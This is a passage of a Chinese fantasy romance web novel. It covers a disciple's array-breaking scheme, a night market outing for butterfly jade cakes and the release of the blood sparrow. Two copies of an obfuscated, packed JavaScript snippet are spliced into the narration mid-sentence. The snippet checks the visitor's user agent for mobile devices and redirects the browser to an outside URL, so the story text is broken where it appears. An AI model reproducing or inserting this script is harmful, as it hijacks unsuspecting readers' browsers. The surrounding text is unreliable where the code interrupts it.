一道火花炸开,石龟完好无损,符纸却燃地只剩了灰烬,随风湮灭在空中。 怎么会?惊讶在少年眼底绽开,随后便是无尽的恐惧。 男人没说话,只是立在原地摇起扇子,静静地看着他。 少年忽然感到一阵窒息,他迅速换了张符纸,抖着嗓子念诀,手心里的冷汗都快要将符纸洇湿。 “去!”符纸带着红色的火星拖尾,爆竹一般窜进石龟嘴里,继而炸响。 依旧无事发生。 少年颤着手指,又换了张符,目光紧紧盯着石龟。 快啊,快…… 就像刚刚那样念诀—— “停下吧。”男人冷笑一声,手中的青玉扇突然合上,挥向少年脊背。 “是不是蠢?” 看似轻飘飘的一下,少年如雪的衣裳却立刻染出一道血痕。 “我平时怎么教你的?” 少年一声不吭地站在原地,不躲也不闪,仅煞白着一张脸,大睁的漆黑眸子盯着地面,满是无助和绝望。 都怪他没做好,不知又会连累多少无辜性命因他而死。 “啧,”男人皱起眉,看了一眼扇子上的血边,随意地丢了出去,“脏死了。” 价值不菲的青玉扇,在空中划过一道白痕,正好砸到石龟上,不偏不倚。脆响的同时,于半空荡开一圈白色涟漪,最后“扑通”一声落入了水中。 什么东西好像碎了。 一道以整座桥为直径的圆形法阵忽而显露出来,两端石龟的眼睛冒着光,似乎在察看是谁闯入了自己的领地。 “阿轩,我没说过么?”男人笑着张开手,放在少年脑袋上,动作轻柔,眼珠却越来越冷,如霜花爬满玻璃,“三角之阵,最主要的便是稳定,仅凭你那点攻击,想要破阵,纯是妄想。” “师父教训得是。”少年后背传来火辣辣的疼,他强忍下喉头的腥甜,顺着眼,压低姿态讨好眼前的男人。 “攻击符用不了,不会使对其无害的封印符么?”男人撤了手,不知从哪又摸出把扇子,优雅地展开,“阿轩,你记住,外部打不破的,就从内部瓦解。” “谨遵师父教诲。” “走吧,回去换衣服。” 轻飘飘地丢下一句话后,男人便扭头离开。 “好。”背后传来少年微哑的嗓音,男人没有回头,仍旧走着,丝毫不管他有没有跟上。 见男人没有继续出手的打算,少年如死囚被大赦天下般松了口气,快步追了上去。 17. 第17章 蝴蝶玉糕 “白同道,你在么?” 门外响起“咚咚”的敲门声,纪泱泱清脆的嗓音像风吹过笛子孔般从门缝钻了进来。 白墨轩心下微惊,下意识将捏在手里的残符烧了个精光。 “进。” 木门“吱呦”一声被旋开,纪泱泱猫儿似的探进头,左右望了望。接着,她的视线落到一抹白上,疑惑开口:“白同道,你怎么不点灯?” 进?她才不敢进——白墨轩屋里阴森森的,即便有月光照着,也是杯水车薪,感觉不知从哪就会蹦出个张着血盆大口的妖怪。 “我不喜欢光亮。”他淡淡答道,手指托起瓷杯饮了一口,“纪同道有话不妨直说,这里又没有外人。” 白墨轩半边身子对着门,脊背挺得直直的,侧脸恰好框在窗棂里,泛着白,像被月光描了边。冷茶入口,喉结随吞咽的动作上下一滚,于是透过来的光影也随之晃了晃。 好吧,纪泱泱耸耸肩,鼓起勇气站进了屋里:“我听春桐说,南边有一条小吃街,里面全是当地的特色美食,想着叫上你一起去看看——” 她嘴里兴奋地说着,面上也带着按捺不住的期盼,唇角不自觉翘起,心似乎已经飘了去。 “不去。” 她就知道! 纪泱泱嘴角一下子耷拉下来,她双手绞着衣角,嗫嚅着:“就当陪我去嘛……” 话还未说完,就听白墨轩慢悠悠地补了一句:“没胃口。” 闻言,纪泱泱的眸光倏地重新亮起,忙不迭道:“不止有吃的,还有玩的呢!” 她神采飞扬地介绍:“可以去玩诗词猜谜,还可以放河灯,坐船赏月,做小手工……” “不感兴趣,你师姐呢?让她陪你。” “她在教春桐术法,你忘了?” “莫同道呢?” “陪师姐一起呢。” “……” 见白墨轩没再说话,纪泱泱又绕回了吃的上:“我看你今晚就夹了几口米,你不饿么?” 饿? 白墨轩在心底淡淡嘲讽:饿是什么?自己对这个字早已没了概念。 于他而言,食物只是用来维持生命的工具而已。 “不想吃,索然无味。” “你只吃米饭,能尝出什么味道来?”纪泱泱叹了口气,恨铁不成钢地摇头。 “况且,米饭虽然清淡,但也很好吃啊——”她掰起了手指头,“行水郡的米颗颗饱满,粒粒分明,稻壳味的米香,入口呢,先是轻软的绵糯,接着在牙齿的轻碾下化开,咽下后,还会化作一股暖流淌进胃里,清香甘甜,回味无穷……” 她怎能在几粒小小的米中尝出这么多?为何自己吃着就像在嚼蜡粒? 白墨轩给自己又添一杯水,忍不住怀疑:难道自己的舌头已经死了么? 纪泱泱还在喋喋不休地讲着:“还有那个炖鸡,酥烂到入口即化,酱汁浓厚不腻,搭配着沾满了麻汁儿的嫩豆腐,吃进嘴里后,那叫一个……” 她自顾自地描述,像个做完客回家与家人分享美食的小孩。 白墨轩心里涌出一丝别样的感觉。 回首自己过去的二十年时光,不曾有人对他这般分享,有的似乎只是那个男人打一巴掌再给一甜枣的苛责和无休止的命令。 白墨轩静静听着,黑眸愈来愈深,他蓦地放下了瓷杯:“走吧。” “啊?”纪泱泱一愣。 白墨轩轻轻一挥衣袖,茶具就被收了回去。他拎起靠在桌腿的白玉骨伞,收了起来,对纪泱泱又重复一遍:“走吧,陪你去。” 声音冷淡却似在催促——他怕自己突然反悔。 “好嘞!”纪泱泱当即笑开,转身打开门,对白墨轩做了个“请”的手势。 夜色沉落,星河初显。 郡守府的庭院浸在清辉里,台基上映着错落起伏的檐角,几棵槐枝斑驳的黑影覆在踏垛上,风吹过,枝影轻摇,叶子也随之簌簌作响。 初夏夜,空气不是那么湿热,很少有人出来歇凉,所以路上的灯非常稀疏。 两人循着昨日傍晚的记忆出了门,便顺着人流往南去了。 当春桐口中的小吃街叫隆昌,就是大桥所在的那条街。 街道两旁的店铺在檐角上系了线,黄纸灯笼被整齐地扎成几排,垂落下来,像一堵堵墙。街上车马偶有几辆,但密密麻麻的全是人,好在大家都很有素质,人流一正一逆分两拨走,倒也没撞在一起。 纪泱泱站在街口,望了望远处夜空缓缓升起的孔明灯,又望了望白墨轩。 “白同道?” “嗯?”少年转过脸来,瓷白的面孔被罩了一层暖光,两颗眼珠像玉一般黑润,里面不仅有细碎的光,还映着两个小小的自己。 纪泱泱恍惚了一下:“我们是不是来过?” 也是这条大街,这般夜色,也有冉冉升起的孔明灯,还有身侧俊逸的白衣少年。 白墨轩嘲讽一笑:“你得癔症了么?”他不想说太多,抬脚顺着人流进了大街。 “嘁!”纪泱泱撇撇嘴,忙追上去,“我就问问嘛,说不定咱们上辈子真的来过呢。” 纪泱泱与白墨轩并肩走着,时不时就要摩擦一下衣袖。 手臂在被纪泱泱刮了能有一百余次后,白墨轩终于忍无可忍,黑眸斜睨着她:“你到底要吃什么?” 一路上,纪泱泱一直在左顾右盼,明明一副什么都想吃的样子,连他都看得出来,可就是不买。 “我在想,”纪泱泱满脸认真,“现在就吃饱了,万一一会儿遇到更好吃的东西怎么办?” “吃饱了就直接回去。”白墨轩疑惑,吃饱了还逛什么? “不要。”纪泱泱笑嘻嘻地拒绝,接着想到什么似的,扯了扯他的衣袖。 “白同道,你听没听过,矿夫与金刚石的故事?” 白墨轩搜肠刮肚一番后,缓缓摇头:“没。” 纪泱泱将眼神再次放在街道两旁,一副意料之中的表情。 “从前呢,有一个矿工,别人对他说一个土堆下有很多很多金刚石,他就拿着铁锹挖呀挖,挖到累得直不起腰,却连一块金刚石的影子也没见着。” 纪泱泱讲得绘声绘色,神采飞扬,仿佛亲眼所见一般,白墨轩瞧着她,嘴角忍不住勾起。 不知不觉,二人走到了桥上。 “于是呢,矿工扔下铁锹,气愤地骂了几句便离开了,不一会儿又来一个矿工,他顺着前一个矿工的洞往下挖,结果你猜怎么着?” “怎么着?” “他一铁锹下去,哎,就挖到了金刚石。” 见白墨轩愣住,纪泱泱得意挑眉:“万一再走一步就遇到了什么珍馐玉食,而咱们却离开了,岂不像第一个矿工一样白来一趟?” 无可辩驳,白墨轩认命地叹出一口气。 桥下有人在划船,一个又一个莲花灯飘在水上,悠悠打着转儿。 “哎,白同道!”纪泱泱眼一亮,指了指前方,那里坐着一个精神矍铄的老人,全身衣服灰扑扑的,衣摆上还沾着泥,膝前放了一根木头扁担和两个竹筐。 他将灯笼扒开一个窝,靠在桥柱上。 “蝴蝶玉糕!茉莉花香的蝴蝶玉糕!”老人仅是吆喝了两声,便瞬间围了一圈人,纪泱泱见状也急忙凑了上去。 刚站定,还没看清筐里的东西,远处一声锣鼓便惊然敲响,老人嗖地站了起来,警觉地朝那儿望了两眼,挑起扁担就走。 桥上其余的小贩闻声也纷纷收起了摊,混进人群中离开。 “诸位请随我到东桥头,那里不归宋监市管。” 东桥头? 白墨轩眯了眯眼,是酒当歌在桥头救下当春桐的相反一端,他们刚从那里经过。 “快走啊白同道,春桐说这个特别好吃!”纪泱泱见白墨轩不紧不慢地跟着,急忙拉着他快步跑起来。 少女的手隔着衣袖握住他的手腕,温热自掌心传到身上,白墨轩忍不住浑身一抖。 “呀!”纪泱泱突然一声惊呼。 光顾着跟他讲话,没注意前方老人放缓的脚步,纪泱泱头还没转过去,就猛地撞上了竹筐。 竹筐从扁担的铁钩上脱落,跌到地上,里面装着的瓷罐骨碌碌滚了出来。 “抱歉抱歉!”纪泱泱慌忙蹲下身子去捡。 瓷罐用牛皮纸封口,缠了一圈线,拿在手里沉甸甸的。每一只罐身的釉色都很丰富,上面还用釉中彩工艺画了一只双翅展开的蝴蝶,色泽鲜亮。 幸好没碎,纪泱泱松了口气。 人群因这一突发事故躁乱起来,场面顿时混乱不堪。几个好心人见状加入见瓷罐的队伍中,被挡在外面的人进不来,只好加快脚步离开。 “好好看路呀,小姑娘!”老人并没有生气,只是放下扁担扭头与纪泱泱一同蹲下身子,伸手去够瓷罐。 “不好意思,不好意思。”纪泱泱一边道歉一边帮忙。 大部分瓷罐被他捡了回去,还有几个散落在不远处的地上。 “快帮忙呀,白同道!” 纪泱泱扯了扯他的衣袖,于是他也一并蹲了下来。 在众人的帮助下,老人终于整理好了竹筐,他重新挑起扁担,快步往前走去。 锣鼓声渐渐隐去,纪泱泱看到了桥头的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17069383|195093||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 标志性建筑:石龟望柱。 白墨轩看了眼少女的背影,悄悄停住脚步,站在了石龟前。 确实是东桥头,他用神识一探,发觉里面没有符纸,便放下心来。 纪泱泱呢? 白墨轩再往那边一瞥,发觉她已经没了影,抬脚走去。 “蝴蝶玉糕,茉莉花香的!” 老人找到一处空地,卸下了扁担。 听到吆喝声后,人群再一次涌了上去,将那地围了个水泄不通。白墨轩见状停下脚步:算了,在这等她吧。 “我没盘摊位,只能挑空地卖,难免如此躲藏。”老人一屁股坐到地上,解释道。 周围的人开始挑选自己钟意的颜色。 “这个一罐多少钱呢?” “十文钱。” “这么便宜!” 一个竹筐里的瓷罐整整齐齐,另一个却是东倒西歪。 纪泱泱看着心里很不是滋味:“老人家,这一筐被我撞翻了,我可以全买下来么?” 她没想到,自己话一说出,买家们却纷纷开始抗议。 “不行,我大老远跟来的,怎能让你全买下!” “罐子没啥大事儿,玉糕能吃就行。” “就是啊,打翻不打翻的,我们不介意!” 老人也跟着附和:“不用,不用,小姑娘全买了,别人该吃不到了。”他对众人指着凌乱的一筐说道,“这一筐按半价来算。” “是我考虑不周。”纪泱泱满脸歉意向众人作揖,旋即蹲下,拿出一把银票,认真道,“老人家,我把这一筐的钱补给你。”说着就往他手上递。 “害,钱倒是无所谓,”老人摆了摆手,笑容慈祥,“我就是闲不住,每天都做一点儿,也防止技艺倒退罢了。” 好吧。”纪泱泱见老人坚持不收,便点点头,拿起一个涧石蓝的瓷罐,付了钱,开始寒暄:“两筐蝴蝶玉糕都是您自己做的么?” “对啊,”旁边有人接上话茬,“不止玉糕,罐子也是,这老师傅可厉害了,什么都会做!” 纪泱泱闻言惊讶地瞪大眼,心里升起敬佩,忍不住夸赞道:“好厉害!” “哪有,哪有。”老人高兴地笑了起来,眼睛眯缝着,纪泱泱借机偷偷将那一把银票放进了竹筐底。 “白同道,你买……咦?”她站起身,抱着瓷罐左顾右盼。 人呢? “怎么?”白墨轩站在不远处,见少女被人群淹没,不一会儿又露出个脑袋,接着终于开始回头寻他,心里冷哼一声。 终于想起他来了。 纪泱泱从人群中挤出去,直奔他而去:“我买好了。” 她笑嘻嘻地站定,向白墨轩展示罐子上的蝴蝶:“好看吧?” 蝴蝶翅膀用混了碎螺钿的颜料勾勒,在灯笼的照射下一闪一闪的,反射着耀眼的光。 “嗯,”即便他见过无数精美的器具,此刻也由衷地点点头:“好看。” “嘻嘻,”纪泱泱兴奋地拆开线,小心翼翼地扯动羊皮纸,面色随之一变。 好黏,撕不动。 “白同道,”她将罐子朝白墨轩一举,碰了碰他的手臂,“你帮帮我……” 少女的眸子亮亮的,此刻正期待的看着自己,叫人不忍拒绝。 真是欠她的,白墨轩微微叹出一口气,接了过来。 罐子口糊了一圈糯米,黏得像胶,怪不得她那么费劲。 “小心点儿,不要扯坏了,”见白墨轩指下用力,她急忙叫道,“一半就行,一半就行!” 依纪泱泱的话撕开一半羊皮纸后,白墨轩往里看了一眼。 罐子虽被摔过,但里面的玉糕却十分完整,里面用大大小小的茉莉花瓣拼了个蝴蝶,嫩绿的叶子顺着叶脉剪作一半,插进玉糕里当触角。 “白同道,谢谢你啦!” “不必客气。”白墨轩将罐子重新递给纪泱泱,接过她给的手帕擦了擦手。 “人家还送了我一张纸片,说是吃不完,可以塞进罐口,下次顺着纸片就好撕了……”纪泱泱掏出把木勺,挖了一勺,送进嘴里,眸子蓦地瞪大,“好吃!” 她擦了擦沾着自己口水的勺子,连带着罐子一齐往白墨轩怀里一塞:“你尝尝,我去再买一罐!” 白墨轩一手拖着罐底,一手捏着勺子,模样看起来有些滑稽。 涧水蓝色的罐身还残留有少女的体温,他望着里面完整的花瓣蝴蝶,贴着罐壁鬼使神差地挖了一勺。 糯米软糕打底,松酥夹在其中,胶质酥酪覆上,还有稀碎的茉莉花瓣夹在其中,香甜不腻。 嗯,确实好吃。 18. 第18章 破阵 辰时。 天空被阴云笼罩,万物都蒙着一层淡淡的灰,但却没有任何要下雨的迹象。 纪泱泱在吃饭时没见着酒当歌与莫云欲——他俩要去大桥,路程较远,所以先行了一步。 饭后,郡守当世圻将血雀的蛋交给了纪泱泱——这个任务是她抢来的——但其实白墨轩根本没争,“我很厉害的!况且女孩子心细,交给我,没问题!”她拍着胸脯保证,于是开关传送阵的任务便落到了白墨轩头上。 微风拂面,头发划过脸颊,带来微微痒意。此刻,两人正站在石龟前。 “哈~”自醒来后,纪泱泱就不住地打着呵欠。 “你没睡好?”白墨轩漫不经心地扫了她一眼。 “还好啦,”纪泱泱抬手揉眼,使劲眨了眨,催促道,“咱们快去河底吧,师姐他俩应该到了。” 急什么? 白墨轩没说话,只是伸手取出了传送石。 跟莫云欲不同,白墨轩将灵力输入的刹那,传送石骤然爆亮,几乎是一瞬,两人就来到了河底。 好强!纪泱泱大吃一惊。 不等她感叹完,手中的通音符便开始发光,纪泱泱往里输入灵力,酒当歌的声音便传了出来。 “泱泱,你们到了么?” 通音符与传音符不一样,莫云欲从中分出了三张,半炷香间,不论在何地,大家都能进行实时交流。 “师姐,我们刚到。” “那好,你与白同道劝说一下血雀,我跟莫云欲半炷香后便开始向阵眼输送灵力,届时法阵快速运转,你们二人再替换妖蛋。” “收到,当歌。” “好的,师姐。” 话音刚落,酒当歌便掐灭了通音符。 纪泱泱将变灰的符纸往芥子袋里随便一塞,抬脚向水帘走去。 然而她的手腕却突然被一股力量牢牢拽住,纪泱泱疑惑地回头一看,才发现是白墨轩。 “纪同道在此等候,在下独自前往便可。” 他的脸上是一如既往的温和笑容,可怜悯与凉薄却在那上面交替出现,似关心,又似警告。 “为何?”纪泱泱使劲挣扎了几下,发现挣脱不开,便放弃了。 她皱起眉,一双杏眸里聚集起怒火:“你又想搞什么鬼?” “搞鬼?”白墨轩鸦黑的羽睫颤了几下,眼中满是无辜,“纪同道为何这般污蔑在下?” “污蔑?说我污蔑是吧?”纪泱泱怒极反笑,她用力甩脱白墨轩的桎梏,从怀中掏出了一张符纸:“那这是什么?” 正是莫云欲放进石龟阵眼的那张封印符。 纪泱泱直勾勾地盯着白墨轩的眼睛,审讯犯人似的:“三角之阵最为牢固,从外部打不破,便从里面瓦解是吧?” 白墨轩一下子愣住,笑容僵在脸上。 “就如同蝴蝶玉糕罐子口的那一圈糯米,垫上一张纸后,就更容易撕开了,还对密封没什么影响。” “你怎么……” 她怎么知道?不,他现在更好奇的,是什么时候。 自己明明用神识查看了石龟,确认那里便是东桥头……他蓦地顿住——可若符纸在那之前就已被人取走了呢? 白墨轩脑海里突然浮现纪泱泱撞倒竹筐的画面。 是在那时候,他只顾着看地上,没注意卖玉糕的老人为了捡瓷罐转了个方向,于是便跟着去了相反的西桥头。 由于桥的两头成中心对称,再加上两边黄灯笼墙的遮挡和身边少女叽叽喳喳的吵闹,他竟没发觉自己在回去时多走路了一段路! 是他对自己太过自信,同时又过于轻视纪泱泱,才没发现她的小聪明。 纪泱泱看到白墨轩的脸彻底黑了下来,就知他已经猜到了,于是叉起腰,得意洋洋道:“白同道,道高一尺,魔高一丈,如何?” 第一次看到白墨轩如此吃瘪,爽!太爽了!! 白墨轩脸上再也挂不住笑,皱起眉,抬手夺过符纸。 哈!这人急了。 纪泱泱依旧得意洋洋地笑着:“你抢走便抢走,反正也不可能再塞回去……” 说着说着,突然反应过来—— 不好,她的证据!! “还给我!”纪泱泱伸手欲夺,却被白墨轩一个闪身躲了过去。 他抬手——似是在发泄怒火,指尖蹦出一个火苗,夹在两指间的封印符“呼啦”一下燃了起来。 “你干嘛!” 纪泱泱顾不上思考,本能地朝他一扑,妄图熄灭那团火,可白墨轩却先她一步将手指松开,反手握住她的手腕,将她抵在了水膜上,动作虽柔和,力气却不小。 “嘶,放手!”纪泱泱感觉自己手腕要断了,她忙用另一只手去掰白墨轩手指,奈何胳膊拧不过大腿,反而两只手都被他牢牢攥住,横在脖前。 燃了一半的符纸悠悠飘到地上,眨眼间便成了灰。 纪泱泱的下巴被迫抬起,她退无可退,只得仰头看着白墨轩。 “这次是我大意了……”白墨轩轻轻吐出一句话,俊脸慢慢凑近纪泱泱,“下次,你可就没那么好运了……” 纪泱泱瞪着眼,心猛地拔高,好似有一张大鼓狠狠在她胸腔敲了一下——这么近的距离,她连白墨轩脸上细小的绒毛都看得见。 两人的呼吸交织在一起,眼看就要亲上,白墨轩却突然抽离,他退开一步,一拂衣袖,手上拿着的,竟是自己的芥子袋! “你偷它做什么?”纪泱泱的心脏无力地抽疼了一下,连抬手去抢的力气也没有了,“除了我,谁也打不开……” 什么嘛,原来自己是被他气着了,还以为对他动了心呢。 “纪同道,”白墨轩的语调平稳,让人听不出情绪,“安心在此等候吧。” 这次是实打实的警告。 说完,白墨轩拿出伞,撑开,抬脚大步离开,衣决飘飘。穿过水帘后,还不忘施法将其封住。 小心眼儿,纪泱泱心里腹诽着,心脏却是越来越疼。 不对劲。 她靠着水膜蹲下身子,用力喘着气,开始检查自己被白墨轩触碰过的地方。好巧不巧,她发现自己手腕上有一极细的针眼。 白墨轩给自己下了毒?! 纪泱泱急忙搭上自己的脉搏,发现那只不过是让她短时间灵力尽失的毒而已,虽然还附带着四肢无力、心脏抽疼、头晕眼花…… 她看着白墨轩离去后的水帘——不,现在应该说是冰墙,瘫坐在地,眼前一片模糊。 毒无解,但也不需要解,时间一到便会自行消失。 白墨轩为何要将自己困在这儿?上次没去,这次却独自…… 世界上的一切声音都渐渐离自己远去,纪泱泱的大脑彻底不转了。 她好困,好想睡一会…… 冰墙的另一面,血雀满心期待地抬眼,以为会是酒当歌三人,却只见一个陌生的白衣执伞少年施施然走来。 “血雀?”少年开口,嘴角弯起一个弧度。 “你是谁?”血雀眯起眼,这个声音有点儿熟悉,但她一时想不起是谁。 “我是谁?”少年收了伞反问,面上升起淡淡的嘲讽。 “简君珩?!”看清他的脸后,血雀像一只被踩了尾巴的猫,浑身的毛都要炸开,但很快,她冷静了下来。 “不,你不是!” 虽然衣着打扮,说话腔调,举手投足间的气质都如出一辙,尤其那双凉薄的眸子和伪装的笑容,跟那个男人简直是从一个模子刻出来的。 一样恶心,一样令人作呕。 “谁准你直呼他的名字了?”白墨轩眉毛微皱,眼里满是嫌恶。 “你到底是谁?”血雀激动地朝他扑去,扯得链子哗哗作响,“你是他的什么人?!” “知道得越多,死得越快,你不懂么?”话语轻飘飘的,却如巨锤一般砸向血雀,“不不不,你早该死了,若不是这河滋养了你,怕是早随你的孩子踏上黄泉了吧。” “你什么意思?”血雀瞪大眼,面上面上升起不可置信,她盯着白墨轩,一步一步地朝白墨轩走去。 锁链摩擦着骨头,发出刺耳的声音,听得人牙酸。 白墨轩从纪泱泱的芥子袋里拿出一枚蛋,满脸可惜道:“这枚蛋灵气充沛,若是破壳,定不同凡响,可惜被郡守拿来救他女儿了。” 妖蛋通体火红,壳上还有一道灵印,但此刻,却被黑气萦绕周围。 “我的孩子!”血雀瞪大眼,她能感觉到,那就是她的蛋! 白墨轩站在离她九尺远的地方,虽是笑着,话却字字剜心:“偷别人的灵草,到头来却害了自己的孩子……” “给我!”血雀激动地朝白墨轩扑去,而他却站在原地,嘴角噙着一抹笑,不躲不闪。 在指甲就要抓到白墨轩的脸时,血雀身上的锁链却骤然一亮,将她狠狠扯了回去。 白墨轩举 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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白墨轩没阻止,像一尊石像似的任由她去寻,自己只是目视着前方,眸子逐渐变得幽深。 血雀周身的妖力暴增,她扇动着翅膀,猛地扯动锁链。 法阵开始明灭不定,映得整个河底如地下炼狱,妖力与灵力的碰撞波动甚至把螺旋阶梯也显了出来。 “白同道,你,你快去放蛋啊!”纪泱泱睁着一双无力的眸子,催促道,同时伸手拍打着白墨轩的胸膛。 白墨轩握住纪泱泱的手:“蛋已经碎了。”他语气轻淡,仿佛在说今天天气真好。 碎了?怎么碎的? 不,这根本不重要。 纪泱泱晃了晃头,拼命转动着快要锈掉的大脑。 回想刚才种种,他根本从一开始就没打算去救血雀,如今更是频频出语惹怒她,目的便是借其冲破法阵。 而法阵上方便是大桥,若血雀真的冲出去了,首当其中的,便是酒当歌和莫云欲。 思及此,纪泱泱胸中似被堵了块石头。她一把推开白墨轩,转身便朝旁边阶梯跑去。 阶梯好像是用无数张符纸搭成的,力量充盈,还散发着淡淡黄光,踩起来坚固无比。 “当啷”一声,血雀终于挣断了一根锁链,整条河仿佛都颤了颤。 螺旋阶梯上,仅是跑了两步,纪泱泱就累得气喘吁吁,但她丝毫不敢怠慢,仍踩着台阶,朝头顶奋力奔去。 见一切如自己计算般步入了正轨,白墨轩终于支撑不住,白衣如雪般扑簌簌落下。 他倒在地上,喷出一口血来。 自己身上的芥子袋和传送石都被纪泱泱拿了去,连一句话也不给他留。 白墨轩的脑海浮现出她的背影,心里淡淡自嘲。 嘴上说着怕他有危险,却毫不犹豫地转身朝别人奔去。 如此,那便看看,谁的速度更快了。 喉间有蚂蚁噬咬般的痒意,肩膀也在火辣辣地抽痛。 打乱他的计划又如何? 没了封印符,他就直接摧毁锁妖阵。 白墨轩用力翻了个身,背对血雀闭了眼。 吃下了自己的血肉,她的妖力至少应该恢复了七成,现在却只挣断了三根锁链。 这个速度远不及他的预期,也绝不可能逼出莫云欲的那招。 果然还是不能太依赖他人。 19. 第19章 无力回天 桥上阴云密布,一如四人刚到那天。 纪泱泱爬上大桥,顾不上歇息便朝东桥头奔去。 “师姐!” “泱泱?”酒当歌还在对阵眼输送着灵力,见到来人后惊了一瞬。 “师姐!” 纪泱泱来到酒当歌跟前,一把抓起她的手臂,眼前阵阵发黑,一句一喘:“师姐,蛋碎了,血雀马上就要把锁妖阵冲破了!” “怎会如此!”酒当歌呼吸一紧,几乎是瞬间就想到了最坏的结果。 当春桐靠这个法阵的灵力活命,若是血雀强行冲破,巨大的妖力爆发,会在一瞬间造成法阵灵力逆转,届时大量的妖力涌入身体,会直接要了她的命。 她停止输送灵力,反手握住纪泱泱的肩膀,认真询问,眉目间皆是冷静:“白同道呢?” “受了伤,在河底。” 闻言,酒当歌当机立断:“泱泱,咱们先找莫云欲回郡守府!”说罢牵了她的手就往另一个桥头跑去。 河底相对安全,白同道法力高强,留他在那儿应该没问题。 酒当歌边跑边想,桥身突然剧烈一抖,两人顿时失了平衡,向一边歪去。 好在就这一下,她俩稳住身子,继续向前跑。 “莫云欲!停手!” 远远望见两个人影,莫云欲疑惑皱眉,依话停了手,抬步朝两人走去。 “当歌!” 大桥又是一抖,比刚刚还剧烈,同时还伴有“咔咔”的声音,似是下一秒就会断裂。 “快回郡守府,当春桐有危险!” “好。” 莫云欲掏出三张神速符,刚要分,一旁的纪泱泱出声拦住了他。 “用这个。”她掏出一块乳白色的石头,递给莫云欲。 两点双向传送石,按理说两点是固定的,可她卡了个漏洞。 先在河底慢慢注入微小的灵力,控制着不让它彻底变白,等到三人汇合后,再输入大量灵力将其彻底启动。 可三人的灵力都各有损耗,纪泱泱更是再也使不出一点儿,最后还是莫云欲与酒当歌他俩一起使力,才勉强打开了传送阵。 白光霎时照亮了天地,如天边滚滚劈下的一道雷,传送石上最后一颗黑色泪滴也隐了去,整块石头化作白烟,消失在了天地。 还在后院,三人便听到了从当春桐屋内传出的噪音。 整个郡守府彻底乱成了一锅粥,道士们一个接一个地进去,又纷纷摇着头出来。 “不可能!刚刚还好好的!”当世圻嘶哑地大喊,丝毫没了郡守的形象,“你胡说,胡说!滚出去!” 又一个道士叹着气出来,酒当歌三人毫不犹豫,直接冲进了屋子里。 整个屋子弥漫着浓厚的血腥气,当春桐的床边围了一圈道士,一个接一个地为她把脉,渡灵气,又一个接一个地摇头离开。 当春桐躺在床上,嘴唇苍白,额头冒着虚汗,已经陷入了昏迷。兰闺在床边默默流着泪,从水盆里捞出毛巾,拧干,轻轻为她擦拭着脸。 床头摆了几块用光的灵石,绣着花鸟的浅黄色被子被一团团黑血浸透,触目惊心。 “你们终于来了!” 当世圻见到三人就如同见了救星,迈过去“扑通”一声给他们跪下,脸上老泪纵横:“求求你们,救救我们家春桐!” 酒当歌没说话,只是略一抱拳,旋即绕开他,在当春桐床边站定,伸手去摸当春桐的脉搏。 “当郡守,令千金怎么了?”莫云欲把郡守扶了起来。 “春桐本来在房里背书背得好好的,可突然就一口血喷了出去,叫大夫来,也查不出什么,于是便找了道士来,可他们说,说——”当世圻抹了把泪,继续道,“说是遭了妖力反噬,活不过今晚——” 当世圻又抹一把泪,握住莫云欲的手臂,崩溃哀求:“我求求你,救救她!我就这么一个宝贝女儿啊……” “尽力。”莫云欲边应着边走了过去。 “小姐!”兰闺在床边发出一声惨叫。 当春桐猛地向后弓起身子,微微张着嘴,大口腥臭黑血随着她的一呼一吸被呛了出来,溅到屋内四处。 兰闺拼命擦着当春桐的嘴角,可那些血迹却像喷泉一样涌出,没几下,当春桐的脸就被糊了一片。 “别再那里吵吵了,过来与我一起吸出当春桐的妖气!”见莫云欲过来帮忙,酒当歌撇过脸对那几个道士一阵怒喝。 她的面色凝重,一只手为当春桐吸妖气到灵石上,一只手将里面的灵气引入当春桐体内。 屋内的声音顿时少了一半,只余下了当春桐痛苦的呻吟、当世圻磕磕绊绊的祈祷和兰闺小声的啜泣。 纪泱泱悄无声息地离开屋子,去后院随便找了个台阶坐下。 天空已经恢复了湛蓝,太阳也爬到了头顶。 当春桐已经无力回天,兰闺的眼睛估计又要肿成核桃了吧,她想。 温暖的阳光照在身上,她从衣袖里掏出一块传送石,仔细端详着。 石头是实心的,不透光,不同于郡守给的那颗,它的上面还有三滴泪。 听闻上古时期,一个海妖与一个人类女子相爱,可汹涌的大海阻隔了他们。后来人类在寻他的船上死了,海妖肝肠寸断,于是三滴泪洒下,最初的那块传送石便诞生了。 纪泱泱在河底启用了一块传送石,并把终点定在了郡守府。 那么,到底救不救白墨轩呢? 她抻开腿,望了眼天。 白墨轩那么可恶,不仅在尸廆山上想害死他们,在大桥上也想害死他们,说不定在下一个地点也要害死他们。 纪泱泱心里涌出一个疯狂的念头:干脆让他死在河底算了。 况且,他那么强,河水困不住他,说不定早就走了。 心里虽然这样想着,纪泱泱的脑海里却浮现出白墨轩替自己挡下攻击的瞬间和他那染血的肩头。 理智告诉自己应该放弃他,可不知为何,一想到他可能会死,她的心里就开始难受。 纪泱泱狠狠抓了把头发,握紧传送石,犹豫又崩溃得想哭。 算了,总不能浪费了这块海妖泪。 纪泱泱深吸一口气,下定了决心,她往里注入灵力,整个人消失的同时,当春桐屋里出现了一个红色的身影。 “血雀?!” 酒当歌和莫云欲同时惊呼出口,现在所有道士都腾不出手,她偏偏挑这时候…… 然而血雀却没有出手的意图,食指竖在嘴唇前:“嘘。”她看着床上的当春桐,眼神复杂。 “爹爹……”当春桐面色惨白,口中溢出细微的呢喃,“我是不是……要死了?” “不会的,我的女儿这么乖……怎么可能 